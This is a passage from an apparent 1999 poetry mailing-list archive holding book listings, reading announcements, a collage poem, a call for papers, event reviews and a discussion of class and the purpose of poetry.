i suppose it could be argued that i am just having some anxiety of "appearance". perhaps. but all of the energy put into that group definition could be keeping you from the next good poem. so that the group project initialized as l-p, at least as i read it being valorized in the recent open letter, might actually hinder "advancement" (now). also i mean where is the "advancement"?

to me it seems more important (now) to look for commonalities among different groupings and try to create permeable groups, to seek out many to many relationships.

Bill Luoma

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255. aerialedge

New @ Bridge Street, Blanchot, Creeley, North &&&

Mon 22 Mar 1999

Ordering & discount information at the end of the list.

1. _Above the Human Nerve Domain_, Will Alexander, Pavement Saw, $12. "displaced & obsessed with contaminated grammar"

2. _Tales of Murasaki and Other Poems_, Martine Bellen, Sun & Moon, $10.95. Winner, National Poetry Series selected Rosmarie Waldrop. "We know what the animals do because we married them."

3. _Four Year Old Girl_, Mei-mei Berssenbrugge, Kelsey Street, $12. "The long neck is how light looks like occupied time."

4. _The Station Hill Blanchot Reader: Fiction and Literary Essays_, Maurice Blanchot, trans. Lydia Davis, Paul Auster, and Robert Lamberton, Station Hill, $29.95. Reprints seven of Blanchot's eight Station Hill Books including _Death Sentence_, _Thomas the Obscure_, _The Madness of the Day_, & _Vicious Circles_.

5. _& Calling It Home_, Lisa Cooper, Chax, $11. " A mind (also called a sin) until rhythm insists on its / last stand. /We float to ground & belt down an old soul like polite corage / which, as if one can't tell, is as cute as easily as a button."

6. _The Evacuated Forest Papers_, Jeff Conant, Buck Downs Books, $10.95. ". . . to say nothing beyond my ken, / to say nothing if it's bigger than / your head . . ."

7. _Day Book of a Virtual Poet_, Robert Creeley, Spuyten Duyvil, $12. "All the tendentious proposals as to 'why write,' in Pound's useful phrase, finally fade to the one point W. C. Williams made by saying, 'Why don't we tell them it's fun?'"

8. _The Arcades_, Michael Davidson, O Books, $10. "This duet seeks some area not quoted"

9. _Poetry As Experience_, Philippe Lacoue-Labarthe, Stanford, $14,95.

10. _Matinees_, Ange Mlinko, Zoland, $13. "but don't make too much of this or someone will call you 'poetic'"

11. _The Case_, Laura Moriarty, O Books, $11.50. "He regains his humility. She is recognized as having stuck with it. This seems like a promotion. The unsolved nature of the case is the institution they have become."

12. _Dark_, Hoa Nguyen, Mike & Dale's Press, $7. "numb where the knowledge knife is gifted"

13. _New and Selected Poems_, Charles North, Sun & Moon, $12.95. "In the language of the spirit / one of the waist-high ashtrays is on fire!"

14. _The Cambridge Companion to Ezra Pound_, ed Ira B. Nadel, Cambridge, $19.95. George Bornstein, Hugh Witemeyer, Daniel Albright, Ian F. Bell, Ronald Bush, Peter Nicholls, Richard Taylor, Massimo Baciagulpo, Ming Xie, Reed Way Dasenbrock, Michael Ingham, Tim Redman, Helen M. Dennis, & Wendy Flory.

15. _Shiny Magazine Number 9/10_, ed. Michael Friedman, guest ed. Larry Fagin, $15. T Berrigan, Szamatowicz, North, Parsons, Coolidge, Mlinko,

Ashbery, Greenley, Reverdy trans Padgett, Malmude, Young, Violi, Koch, Willis, Mathews, McCain, M Gizzi, Reifman, Collom, Hejinian, Rodefer, Meltzer, T Davis, Hollo, Jarnot, Champion, Goldman, Towle, Sharma, Greenwald, Harryman, Heliczer, Berrigan/Padgett, & Winthrop Mackworth Praed.

16. _Spiderwasp or Literary Criticism_, Juliana Spahr, Spectacular Books, $6. "_(one thing?)_"

17. _Deepstep Come Shining_, C.D. Wright, Copper Canyon, $14. "What if we stay here long enough to attend a stranger's funeral. I like this spot."

18. _The Future of History_, Howard Zinn, interviews with David Barsamian, Common Courage, $13.95.

19. _Louis Zukofsky and the Poetry of Knowledge_, Mark Scroggins, Alabama, $24.95.

New In paperback:

The Mooring of Starting Out: The First 5 Books, John Ashbery, $18.
So There: Poems 1976-83, Robert Creeley, $14.95.
Wittgenstein's Ladder, Marjorie Perloff, $16.

Some Recent Bestsellers:

True, Rae Armantrout, $12.95.
My Way: Speeches and Poems, Charles Bernstein, $18.
Big Allis 8, $8.
A Secret Location on the Lower East Side: Adventures in Writing 1960-1980, $27.95.
Mina Loy: Woman & Poet, ed Maeera Shreiber & Keith Tuma, $24.95.
Log Rhythms, Charles Bernstein, w/ illustrations by Susan Bee, ltd edition of 500 copies, saddlestitched, $35.
Ron Silliman and the Alphabet, ed Thomas A. Vogler, $15.
An Anthology of New Poetics, ed Christopher Beach, $19.95.
Whatsaid Serif, Nathaniel Mackey, $12.95.
Democracy Boulevard, Kit Robinson, $11.95.
The Future of Memory, Bob Perelman, $14.95.
Tripwire: A Journal of Poetics #2, $8.

Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, & card # & we will send a receipt with the books. We must charge shipping for orders out of the US.

Bridge Street Books, 2814 Pennsylvania Ave NW, Washington, DC 20007.

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256. david bromige
L A readings this week
Mon 22 Mar 1999

{DB posting on behalf of Aldon Neilsen}

Two Upcoming Poetry Events at Loyola Marymount University

Tuesday March 23 at 8 p.m.

Peter Gizzi & Elizabeth Willis

Hilton 300 C & D

Thursday March 25 at 8 p.m.

Ron Silliman

McIntosh Center

No admission charge to either event.

7900 Loyola Boulevard (off Manchester).

inquiries to English dept., [redacted].

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257. Kevin L. Magee
Re: Chris' interest in Riding-Crane
Mon 22 Mar 1999

SNAPSHOT

The impulse is everything
They did not expect to be next to each other
Now they are about to fall over each other
and see not them that cannot be 'seen'
other things also so try to show those other
to say it would be not to slide off it
being said, find ways to sacrifice it
to the elsewhere in us Not to tell (you)
for you or for me The action of thunder
noticed but not thought about, is
"The Wrestling God's WCW Thunder Report": "Hey anonymous,
I hope you don't believe that windbag crap you are trying to tell
people" (The Turnstile Scroll)(or Delphic Oracle?)
What I write (note) I don't (try not to) notice.

We are what interferes with us
and that rough-handling and penetration
is the lived moment, that there are paths
to be followed like responsibilities
Thought is what floods us and wants to be written
and what was interfered with was not an aim
or narration to build a wall around itself
and form its own kingdom (as an oyster
makes a pearl of the interfering sand)
making myself available to the barrage
energy and reflection upon what was just 'here'
only 'there' for the moment of its performance
that memory (selective, judgmental, etc.) immediately
what need does it answer? Spaces emerge,
and a new mutant species tries to inhabit them
Why both talk about what you are talking about?
You are never tallking about what you are talking about
I don't want to kill what I really want to talk about
neurons project me against the strength of incoming stimuli,
force me to new efforts of will and intervention
and if we respond it is as an 'error' of responding
to what we PROJECT . . . offending as a way
to respond to what is present
try to anticipate the next stage
see the entire web-of-associations
make that statement and do that thing
if the audience is being delighted by what
they already know is delightful
the rallying cry must not be
the game (move and countermove) of Western art
write the PROTECTION against noticing, PROTECT us
what can we include in the on-going
heretofore devalued and kept out, etc., etc.
web intersections, web of relatedness of all
find exhiliration and freedom and creative
ever-alike relation to your own web
you are no longer blind and hypnotized
you are a free man in all moments of your life
make contact with the reality that is really-there
not a new "that knocks me out like . . . "
(Shakespeare, sex, etc.) convinced of the reality
of one's own seeing when we are awed

or moved by the other, an alien other
in whom we wish we could partake (Hart's romantic art)
interacting the mind forgets its own workings
and there is no real meeting, only face to another
moment of "artificial" "something" that is mindless
too one dimensional to be a real encounter
choose turbulence, inject disruption into knowing
my instinct to charge what comes into me
and it occurs to me that the reason it occurs to me
what I am doing now in the collision
with the now-between PROJECT and what resists it
the reflex is the pretext to set a process
in motion, it's a pivot point
(i.e. frame now, frame not-there)
AMASS as the MASS grew, suck the life
into the orbit my day of writing on that day
allows for eruptions of specific willed activity
the starter button of "Hey kids!" gets pushed
a certain effect on a certain kind of human
attention performing the necessary leverage
on the machine of my class for a good many years now
Why did my machine start working this way?
AUTHORITY not available to me in other aspects
of my kid-life and all those other refined things
that classical art is always about, thought
washing itself lightly onto the page
noise broke out over me, chu_____
trees seem to shake and to lean over me
my attendants are Kaldirhgyet (Split Person)
Waralsawal (Crazy or idiot, a narhnorh
or spirit), and 'Arhkawdzem-Tsetsauts
(Tsetsaut-is-thoughtless, also a narhnorh)
sometimes it is a bad song within him or her
(wawq: sleeping, or ksewawq: dreaming),
her full name is Niskyaw-romral'awstlegye'ns
upheaval in singing and clapping of drums

P.S. Dear Chris, ask Bernadette?
She's probably got a copy of Chelsea 35 (1976)
Alfredo de Palchi, the guest editor of this anthology of L(R)J
writes that he first read her "Respect for the Dead"
in Nuovissima Poesia Americana e Poesia Negra (1949-1953).

Kevin

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258. Lawrence Upton.
(no subject)
Mon 22 Mar 1999

Writers Forum has published

NOISES by Serge Segay and Bob Cobbing ISBN 0 86162 866 7 - "collaborative visual poetry"

They're quite different poets. Segay collages disparate material, slams it together and leaves it there, jarring to some extent and uses certain bits and pieces over and again - his rubber stamp "Made in Zaumland" appears here

I think Cobbing has had the last say here. The elements of the page meld together - but he too has utilised some heterogeneous bits and pieces to get to where he is - I recognise the phrase "plummets towards a worm hole" from cris cheek's talk on Domestic Ambient Noise at the last sv colloquium... & I have just noticed "poetics of domestic noise"... sounds familiar (no pun intended)

WF has also published two more pamphlets of Domestic Ambient Noise = ##204 & 205

BRIDGE THAT GAP by Bob Cobbing & Lawrence Upton 0 86162 867 5 - Upton's variations on Cobbing's PONTOON

LOOKING FOR A GAPE'S NEST by Lawrence Upton & Bob Cobbing 0 86162 868 3 - Cobbing's variations on bridge that gap

All enquiries with s.a.e./ i.r.c. to New River Project, 89a Petherton Road, London N5 2QT

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259. miekal and
30 Samples for Orchestra
Mon 22 Mar 1999

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30 Samples for Orchestra
http://net22.com/qazingulaza/radio_caterpillar/thirtysamples/thirtysamples.html

(flash 3 required, it is not streaming so let it load to your computer before clicking anything)

miekal and

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260. **Poetics List**

Biography and Film: A Special Issue of _Biography_ / Schultz

Mon 22 Mar 1999

---

this had to be reformatted a bit. Chris

---------- Original message (ID=7C1F5775) (110 lines) ----------
From: "Susan M. Schultz" <[redacted]>
Date: Sun, 21 Mar 1999 08:17:59 -1000

---------- Forwarded message ----------

A SPECIAL ISSUE: THE BIOPIC

The January 2000 issue of _Biography: An Interdisciplinary Quarterly_ will explore the biopic.

Guest editor Glenn Man is looking for papers which address the theoretical, generic, historical, cultural, or technical aspects of representing or telling lives in film or video--from Hollywood spectaculars to indie films, from short subjects to A & E Biographies. Interdisciplinary and multicultural approaches are particularly welcome.

Manuscripts should be between 2,500 and 7,500 words, though shorter and longer essays will be considered. Please submit two copies of any manuscript. Since _Biography_ has a double-blind submission policy, the author's name should not appear anywhere on either copy, but in the cover letter. Decisions about publication will be received within three months, and comments will be provided for all essays received. Consultation on manuscript ideas is welcomed. For more information, contact the general editor, Craig Howes, by email at [redacted] by telephone at [redacted] by fax at [redacted] or by mail at the Center for Biographical Research, University of Hawai'i, Honolulu, Hawai'i 96822.

DEADLINE for submissions: August 1, 1999.

Craig Howes
President, CELJ
Editor, _Biography_
Director, Center for Biographical Research
Professor, Department of English
1733 Donaghho Road
University of Hawai'i at Manoa
Honolulu, Hawai'i 96822

Home Phone: [redacted]
Center Phone: [redacted]
Fax: [redacted]

Center Homepage: www2.hawaii.edu/~biograph
UH Journals Biography Homepage
www2.hawaii.edu/uhpress/Journals/BI/BIhome.html
Council of Editors of Learned Journals Homepage: www.msu.edu/user/pod/celj

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261. **Mark Prejsnar**
what poetry's for
Mon 22 Mar 1999

"the question nobody seems to ever want to answer about there art: what is it for?: it's going to pay for my kids' college, it's going to get me out of the projects, it's going to save humanity/create a better world, I don't know I was bored and passing time, I'm going to prove I'm smarter/better/more educated/cooler than my dad/my brother/my mom/him/her/you"

the above is quoted from a post by James Perez.

I don't think poetry is *for* anything.

Adorno would say it reveals near-unbareable tensions and tears in the social/historical fabric, which exists "in" society but also permeates down into our subjectivities; Marcuse would say it points forward to the full realization, as an apprehendable utopia, of human possibility...

(the latter being ideas he probably partly takes from E. Bloch)

I think they're both *right* (in a partial way); but niether of these defines what poetry is *for* .... These are things it *does*

It's a basic defining human activity, and it makes at least as much sense to say that *we* exist in order to do it, as it does to fall into the delusion thinking that it "exists for something." It is not apprehendable in terms of function. It ain't a functional thing. (..it is more an activity than a thing, in fact, but that's another post...)

mark prejsanar

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262. **dbkk**
Re: of Mothers & Daughters
Mon 22 Mar 1999

At 10:52 AM -0800 3/20/99, Laura Moriarty wrote:
>I don't think I said that I thought classes were breaking down - though god

>knows I may have - but that experimental or innovative writing were becoming
>somewhat meaningless terms, given the many kinds of work being published
>under those general rubricks -- and that that was a good thing.

Laura,

Thanks for clarifying this and many good points.

When Cecil Giscombe gave his wonderful talk about race and nature at Small Press Traffic a couple of weeks ago, to which only TWO people came (thank you Lee Ann Brown and Renee Gladman) he said some insightful things about class during the question and period. He'd spoken during the talk more than once about being middle class--but also pointedly about living along the margins. I asked him to clarify that. The margin point was, he said, about writing and the realm of experimentation. He then talked about how the ability to play in the margins at ease (and I'm heavily paraphrasing here and probably getting it all wrong) is a function of class. He talked about the students in his classes, how working class students, both black and white, behaved with more of a hesitancy than middle class students. That playing in the margins when you're middle class, you're not risking everything, your whole being--that you have more of a support system to fall back on. Personally, I don't think those kind of dynamics ever totally get erased--regardless of who's publishing who, who works at what job.

The--everybody complains about "experimental" and "avant-garde"--why don't we just call it "arty"--arty poetry world defines itself as white middle class, and while there are serious and gratuitous attempts to expand that, people from other backgrounds are always within an outsider group that's playing against the white middle class center. How many pomo theory books have to be written before it's taken to heart--that nothing's really going to change until that center is redefined.

Dodie

↑ Index

263. **Tom Orange**
shifts in modalities
Mon 22 Mar 1999

---

linda,

i want to pick up on yr lead regarding cultural poetics as a diagnostic tool for discerning shifts in modalities in/or language environments. i missed nancy's buffalo talk but caught her reading (along with kevin davies and deirdre kovac) in toronto -- write-up forthcoming.

i know nancy's current critical work engages with british cultural materialism, leavis thru birmingham school -- very useful right now, as perhaps such a return can yield new insights into where cult studs/poetics might fruitfully be taken. tho the term cultural poetics was popularized in literary study by stephen greenblatt in the early-mid 1980s, who in turn points to clifford geertz as inspiration, and who preferred the term in lieu of "new historicism."

john guillory gave a talk here at western a few weeks ago, wherein he offered a historical critique of cultural studies largely along the lines of what he called its object of disciplinary desire. basically: whether our critical modality flattens everything into text (deconstruction as neo-high-formalism) or cultural artifact (cult studs), there remains this ineluctable hermeneutic residue as i call it, i.e. our task remains one of interpretation regardless of what we call it. i sort of dismally envisioned this limestone quarry filled with critics pounding their heads against the wall of meaning hoping that someone will simply notice them bleeding. a heavy critique with, unfortunately, little payoff: i asked guillory what we do with this hermeneutic residue, and his suggestion was that cult studs shift its modality away from the artifact itself and towards the mediation itself, between the artefact and history, economics, politics, etc. easy to assert, hard to do no doubt.

point being: i think you and (or summarizing) nancy are on the right track, and the way that different language environments mediate material conditions is where we should be trying to look. and i'm sympathetic to sianne's efforts on this front to articulate a poetics of disgust. i think the essay is quite capable of being misread, but upon rereading it carefully i found much more wrong with it than i originally had. (save this for another time.) suffice it to say that as a highly localized and provisional tactic/ environment, i think disgust is useful, but that we need at the same time to identify a whole range of grammars: of abhorrence aversion loathing repugnance repulsion revulsion. and that unless disgust can start to help us identify and articulate other modalities such as these, it remains unabashedly singular, local, limited. which is, of course, a good, and perhaps the only, place to start.

tom orange
london, ontario

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264. **Tom Orange**
shaw/davies/kovac in toronto
Mon 22 Mar 1999

---

nancy shaw, kevin davies and deirdre kovac read from their work at the redhead gallery (96 spadina ave, 8th fl) in toronto this past thursday evening.

they were introduced by peter jaeger, who coordinated the event. this was my first time hearing all of them, though i was somewhat familiar with their work only through peridoicals. hot on the heels of nancy's and kevin's reading in buffalo the previous night, and imbued with the sense of comraderie found only through several hours of being on the road in the close quarters of scott pound's ford fiesta, the three shared their remarkable talents and personalities with us well into the next day.

nancy started off with portions of "flags," which can be found interspersed throughout the other works found in jeff derksen's recently-edited issue of open letter. as she moved into other sequences such as "torch songs" and "anthems" -- the latter of which, i believe, nancy apologized for as being somewhat "didactic" -- i found the nervous edge of nancy's delivery to persist: it was curiously both compelling and faltering, as if caught up in its own forward pace. i found it distracting for a stretch but then found myself becoming acclimated to this sort of arhythmia. and by the time nancy finished off with a set of new work, in which the didactic had become more enmeshed in the more lyric mode of "flags," the delivery's edge for me had become a perfectly engaging counterpart to the text.

after a short break, kevin davies took the floor, calmly stacked his loose sheets on the right side of the table, picked them up one by one, read them and placed them face down in a pile on the left, with next to no prefacing or commentary and only an intermittant announcement of a sequence's title. the humor that is so vital in kevin's work was only reinforced by the deadpan earnestness of his delivery. at times he studied the page from which he was reading, as if he too was puzzled or struck by what they contained, only to return them to their proper pile with the others. the energy in the room was infectious, with each listener alternately giving in to the sustained need to let out a guffaw or cackle.

another short break and deirdre kovac was introduced. known to listeners primarily as a co-editor of the journal big allis, her work was largely unfamiliar to us, tho by the time she was finished there was a clear need and desire to see and hear more. deirdre puts little inflection or emphasis into her delivery, and it really doesn't need it because her words take on a music of their own. her work has a marvelously complex texture of interweaving and reoccuring sound patterns that moved near the threshhold of sense. her vocabulary was exotic, even lush, and at times became atomized and then recombined into a rich sonic wash. the bulk of the texts were from her manuscript called mannerism, which needs to find a publisher at once.

special notice also should go to deirdre for maintaining utmost poise after toronto luminary john barlow, upon arriving late and trying to take a seat inconspicuously in the rear of the gallery, ended up taking down with his

backpack not one but two display cases mounted to the wall and containing sculptures. kevin had presaged just such an occurance and felt remiss in not carrying out some pre-emptive measures. also in attendance were christian bok, stephen cain, karen mac cormack, steve mccaffery, jenifer papparro, andrew patterson, scott pound, and darren wershler-henry.

post-reading festivities ensued at the cameron house on queen street west and carried on well into thursday evening. on friday morning we met for a leisurely brunch at the lakeview diner on dundas and ossington. this was followed by a visit to coach house press, where darren gave a tour and offered merchandise. scott then loaned us his car and peter, christian, and nancy and i took kevin and deirdre to the airport shuttle. we had a few hours to kill before nancy's train left, so peter took us on a whirlwind tour of some other toronto galleries, including the 401 richmond complex, mercer union, and art metropole (the best place for artists' books this side of printed matter in soho).

as peter departs for a trip to england shortly, we look forward to the renewal of the redhead gallery reading series, to which we hope that broken sculptures do not form an insurmountable deterrant.

tom orange
london, ontario

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265. P.Standard Schaefer
NEW RHIZOME
Mon 22 Mar 1999

Rhizome 3 is finally here.

This issue focuses on longer selections of work.

Poetry by: Jen Hofer, Tracy Grinnel, Emily Grossman, Adriano Spatola (Italy), Annie Le Brun (France), Juan Luis Martinez (Argentina), Monica Nepote (Mexico), Ray DiPalma, Gwyn McVay, Oscarine Bsquet (France), Joe Ross, Dennis Phillips, Chris Stroffolino, George Albon, Carmen Lenero (Mexico), Paul Hoover, Luigi Ballerini (Italy), Martha Ronk, Bob Crosson, Cathy Wagner, Garrett Caples, Pascallee Monnier (France), Elio Pagliarani (Italy), Robert Hale, Franklin Bruno, Cole Swensen, Jena Osman, Mateo Goyocolea (Argentina), Keith Walddrop, Paul Vangelisti, Guy Bennett, Camille Guthrie and Mohammed Dibb (Algeria).

Plus, many reviews and essays (by Jacques Debrot, Robert Hale, Summi Kaipa, Franklin Bruno, Patrick Pritchett and others).

Copies are available for $8.50 Quite a bargain for 231 pages of reviews, essays, poetry and so forth.

Please write checks to: STANDARD SCHAEFER (not Rhizome)

366 S. Mentor Ave. #108
Pasadena, CA 91106

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266. Billy Little
Re: Fwd: Let's do the Modernism!
Mon 22 Mar 1999

---

you should have heard Duncan McNaughton at Capilano College the other night, talking about the mysteries, don't explain them to me please, be the mystery, let the mystery occupy you, if you're lucky or un you practice the mysteries, they reveal you. duncan is one of the vital poets, a partofspeach accelerator, as we needed to read charles olson with it or not we need to read mcnaughton he's pitchin fastballs and curveballs and knucklers and not a few spitballs he rePresents the elemental forces, he washes your window with a conjunction, his form is like the fogs, he permeates, a cloud of understanding, knew dewds drewds, like a flyfisher he gets you on the way back, like a boomerang carrying your brain bang back to your cranium loverboys, blistering lips blips ript against unwrought stone in Cyprus not her occupying you. geography/geology occupying you, natural history get with it sung loud duende propels compells soupsong it's not the aere its the aether McNaughton is it, he's got it, he's with it, get his especially if that's all you can afford, i.e., can't afford not to...tomorrows talk today.

billy the millionaires' buddhist little

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy

↑ Index

267. Billy Little
norma cole
Mon 22 Mar 1999

---

she plays your brain like a banjo
like an orchestra
i've been rereading for the fourth or fifth time
Desire and its Double

these songs delicious on the tongue delirium she carries forward the san francisco tradition of lean precision like Spicer, like Josephine Miles, like George Stanley, she makes sense, like whalen, in the sense of seventh sense, sense you never want to prove, or deduce, accept a very offhand or matter of fact projective verse at its best instanter phanopoeia, logopoeia and melopoeia full flame in this classy humble publication of instress a hymnbook of "sentiences" she performed a weekend finale for the KSW several weeks back i feel remiss at not reporting on same dazzling matteroffactness short reading work in progress Spinoza in her Youth, virtuosity without encore, her redelivered Oppen Lecture the Poetics of Vertigo the following day brought us the less secure more professional Cole still incisive but more crossed tees and dotted eyes less flight more lift more hydraulics i prefer her singing, her original voice, her ear her ghostly accuracy, her spare succulent syntacticks, do they put duende in the drinking water in san francisco:

green ribbons all untied, the
other's knots, the other's sky
the stone or plane beyond her
shoulder, this glow around her

head the less distinct profile
of a knotted rope, the bloody
knot-what is euphoria?-the
pictured events cut a star

to the size of your hand
framing the flowers of diction,
division, decision, the flags
"along the way i managed to
escape"

-for Ruth Singer
<should be italicized as
should the phrase
...cut a star

to the size of your hand>

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy

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268. **Margie Cronin**
Re: Announcing Jacket # 4
Mon 22 Mar 1999

David Kelly (of the poets union) will launch MTC Cronin's latest collection of poetry - "Everything Holy" (Balcones International press, usa)- at the rose hotel (corner of rose and cleveland streets, chippendale) on sunday 11 april at 3pm (it's free). (if anyone can't make it the book is available for $15 from the author at 108 chelmsford st, newtown, nsw, 2042; ph: 02 9550 2918; or on amazon.com).

Her recent australian collection - the world beyond the fig (five islands press) is also available for $13 from the publishers or the author.

At 15:37 30/07/98 +1000, you wrote:
>Jacket magazine is a literary quarterly free on the Internet, edited from
>Sydney Australia by poet John Tranter. Issue # 4 is now fully fitted and
>stitched up, at this URL:
>
> http://www.jacket.zip.com.au/jacket04/index04.html
>
>Announcing Jacket’s first QUIZ, with real prizes!
>
>With a gallery of sparkling poems by :
>
>Adam Aitken, Charles Alexander and Sheila Murphy - a collaboration, Gary
>Catalano, Maxine Chernoff, Bernard Cohen, M.T.C.Cronin, Elaine Equi, Coral
>Hull, David Lehman, Tony Lopez, Rod Mengham, Ian Patterson, Roger Pellett,
>Gig Ryan, Keston Sutherland, and Robert Vandermolen.
>
>Articles to knock your socks off:
>
>David Lehman - The Questions of Postmodernism,
>Eliot Weinberger : on the strange ghosts of Ísland,
>Caddel and Quartermain : OTHER British and Irish Poetry since 1970,
>Forrest Gander - review of Yasusada : DOUBLED FLOWERING,
>A peculiar and perspicacious Portuguese perspective of the 1998 Cambridge
>(England) Conference of Contemporary Poetry,
>H.M.Enzensberger's "KIOSK" reviewed by Lawrence Joseph,
>Noel King interviews Pete Ayrton, publisher of Serpent's Tail books,
>Mr Rubenking's "BREAKDOWN" - computers and writing (with a REAL AUDIO
>recording of ROBOT POET Joy H.Breshan reading a computer-generated poem in
>the mode of Mr Ashbery, and John Tranter’s “Carousel”, a computer-assisted

>prose story),
>Tom Clark's "White Thought" reviewed by Dale Smith,
>Photography - art, fine art, or prostitution?,
>Pet of the Month - the MEERKAT (very handy for poets - find out why),
>Great Moments in Literature # 13 - Kleist’s TWELVE-VOLUME OPUS reduced to
>haiku (!) ,
>Dangerous Liaisons # 91 - Jo and Meg in Mexico.
>
>. . . and, as usual, a lather of photographs and other visuals.
>
>Drop by, try the fit of the Jacket, and if you like it, tell your friends!
>
> (I understand that you may not wish to receive these notices.
> (If so, please reply to this email to that effect, and
> (I'll take your name off the mailing list pronto. [J.T.]
>
> from
> John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
> tel ([redacted] fax ([redacted]
> http://writing.upenn.edu/epc/authors/tranter/3poems-interview.html
> Editor, Jacket magazine: http://www.jacket.zip.com.au
>
>

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269. P.Standard Schaefer

Carl Martin

Mon 22 Mar 1999

I just came across the lovely new book from Dalkey Archive and am sort of baffled that I'd never seen Carl Martin's work before. Who is he? Does anyone know how I could locate him?

Thanks,

Standard

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270. Don Byrd
Renga
Tue 23 Mar 1999

Some time back--my sense of chronology is never too good-- there was a renga project on the net. I think I may have actually contributed to it, but most of the details have slipped my mind. Does any one remember it? Know who organized it? Know if it was archived anywhere?

Best,

Don Byrd

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271. George Bowering
Re: of class
Tue 23 Mar 1999

I like to think that the question of class in writing has to do with the argument of the writing, not the place where the writer of the writing was born.

That is to say, my favourite working class writer from the US was and is Douglas Woolf, but you know, his parents were pretty comfortable in the NE. And Doug wrote about the west, mainly, too. So I would not call him a middle class NE writer.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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272. Grant Jenkins
Re: gender class poetics poetry
Tue 23 Mar 1999

Grant Jenkins here. Even though I am a habitual lurker, I'd like to weigh in on the class discussion by responding to Mark Prejsnar's post.

I think this interrelation that Mark talks about between the personal and the political is very important, especially with Susan Howe. One simply has to read her statements on poetics or her introduction to _The Europe of Trusts_ to see how she views the relationship of her self/poetry to history.

But, as others have already suggested on this list, there's an aspect of class, economics that is beyond the author's intentions. This goes for both activism and autobiography. Class pressures and situations condition every aspect of a writer as well as his or her relationship to culture, community, and history. Howe's upper-middle class upbringing in the household of a Harvard University professor as well as her marriage to a famous sculptor--just to name 2 of many many factors--provided her with many economic/social opportunities (and problems) that she does not incorporate consciously into her work.

Furthermore, there is no necessary or predetermined relation between class and poetic production. The meaning of those pressures and how they shape a life/work is a matter of careful study and analysis of particular situations.

I just think the intent angle in this discussion needs to be discussed further. And while were at it, perhaps we could get some definitions of "class," as someone else suggested.

Grant

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273. **Lowther,John**
Re: what poetry's for
Tue 23 Mar 1999

---

a basic
defining human activity

as much sense
to say *we* exist
in order to do it,
as it does delusion
that it "exists for something."

not apprehendable in terms of function
ain't a functional thing

(..it is more an
activity than a thing, in fact, but that's another post...)

said mark prejsanar

sonar
is no marking of the sky

what is poetry for ?

the object/process bit rears its head
        (..it is more an
activity than a thing, in fact

this is another post...)
says the interventionist

i am entertained by the suspicion that 'poetry'
as category term
is too something leads us down dark pathways toward definitions
that seem

fixed
as in
the price of fixity is unintelligibility

mark says
        it's a basic
        defining human activity

and i want to say it cd be
but that this sounds apologetic
eulogistic even
[taking my terms from Buchler
 who i don't even like too much]

i question how much utility there is
in posing poetry as this primal human attribute
as it's too easy
to imagine there being no poetry at all

mark further then he does etxt as i do revise;
        as much sense
        to say *we* exist
        in order to do it,
        as it does delusion
        that it "exists for something."

yes
yes me up and down to this
unless
"exists for nothing" is

        not apprehendable in terms of function
        ain't a functional thing

because i think (doesn't 'mean' i am)
but

cdn't it be
cdn't, not 'poetry'
but a poem
be a functional thing
i'm trying to do that now and then others are too i know examples etc

that 'resolution of art object and art process' piece

poem as 'thought experiment'

?

)L

↑ Index

274. Joe Amato/Kass Fleisher
Re: gender class poetics poetry
Tue 23 Mar 1999

---

here's a really crude class distinction, which i offer w/o apology:

there's nothing i do re which money doesn't matter...

i know it's horrible to admit to this---but

the best way to get me going is to start talking about how you needed to do this, so you did it... and how you needed to do that, so you did it... and even, you needed to do this and that, and so you hunted out the best buy---and it was all so very difficult...

b/c in the end, for me, if you keep talking about what you needed to do and ultimately did, why then you still up and did it...

how's about we talk about what YOU COULDN'T DO... you just couldn't do... b/c you didn't have the cash and.or couldn't afford the credit... or b/c you couldn't leave your family behind, say...

i can recall a truly aggravating conversation i had once with someone who kept insisting that i shoulda spent a semester abroad as an undergrad... i kept saying "but i couldn't" and s/he kept saying "but you should have"... of course here s/he was, standing in his/her parents' half-a-million dollar house, so advising, and feeling entitled to advise... and here i was, tongue-tied b/c i didn't feel like explaining the niceties of food stamps in those quarters, in these times...

so whilst i live these days, strictly speaking, in middle-class trappings, with upper-middle-class aspirations, i often worry and certainly react, strictly speaking, along working-class (or worse) coordinates (though it's fair to say i'm used to worrying and reacting so, so you *might* not notice)...

no, i don't think you need to hail from poverty to write meaningfully about poverty... it helps of course---but it's not a necessary or sufficient condition... at the same time, i DO think (e.g.) there are tons o artifacts out there that provoke in me an immediate class reaction, to the extent that i know (or think i know) that the creator(s) either didn't give a hoot about class, or wished to sidestep.avoid it...

alla that said: one of the initial obstructions to my immersion in more avant-garde (or whatever) writing (for me) was its apparent failure to respond to the immediacies of class i'd been confronted with for so many years... i can imagine mself reacting differently---e.g., seeing it as an *escape* from these more quotidian realities ... but it took me a long while to get over my resistance (as if i'll ever entirely get over it) and i still find appealing the sort of writing that works out of a rather raw engagement with said experiences---*provided* i don't get the sense the writer is copping a holier-than-___ stance and.or offering it all up as utterly "real" and w/o any fictive intervention... i.e., provided the writing encourages reading with brain intact (which latter is shorthand for all sortsa specifically textual practices that, or so i would hope, bring class/race/gender etc and their interrelations into focus)...

at the same time, owing to my white het male background i suppose (though this is only part of the picture of course), i was likely in a somewhat secure state, finally, to venture forth into less orthodox literary form...

all of which is to say that my experience as a teach accords very much with cecil g's (wish i coulda been in san fran to hear his talk, dammitall!---though i chewed over some of these issues with him here in chicago prior)... i have, i must add, also run into plenty of students who are not from the working classes, who have been educated (extremely thoroughly) to regard any but more orthodox writing much as they have been educated to regard the 60s... i.e., as an example of mere cultural self-indulgence and hypocrisy... this is as i see it a republican.centrist sentiment that seems to have successfully seeped through much of higher learning...

i would just want to be sure that we don't lay the burden of the class.aesthetic conjunction solely on the shoulders of the lower classes...

best,

joe

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275. Jordan Davis
Delinquent Pages
Tue 23 Mar 1999

Beel (maz881) writ:

>to me it seems more important (now) to look for commonalities among different
>groupings and try to create permeable groups, to seek out many to many
>relationships.
>
>Bill Luoma

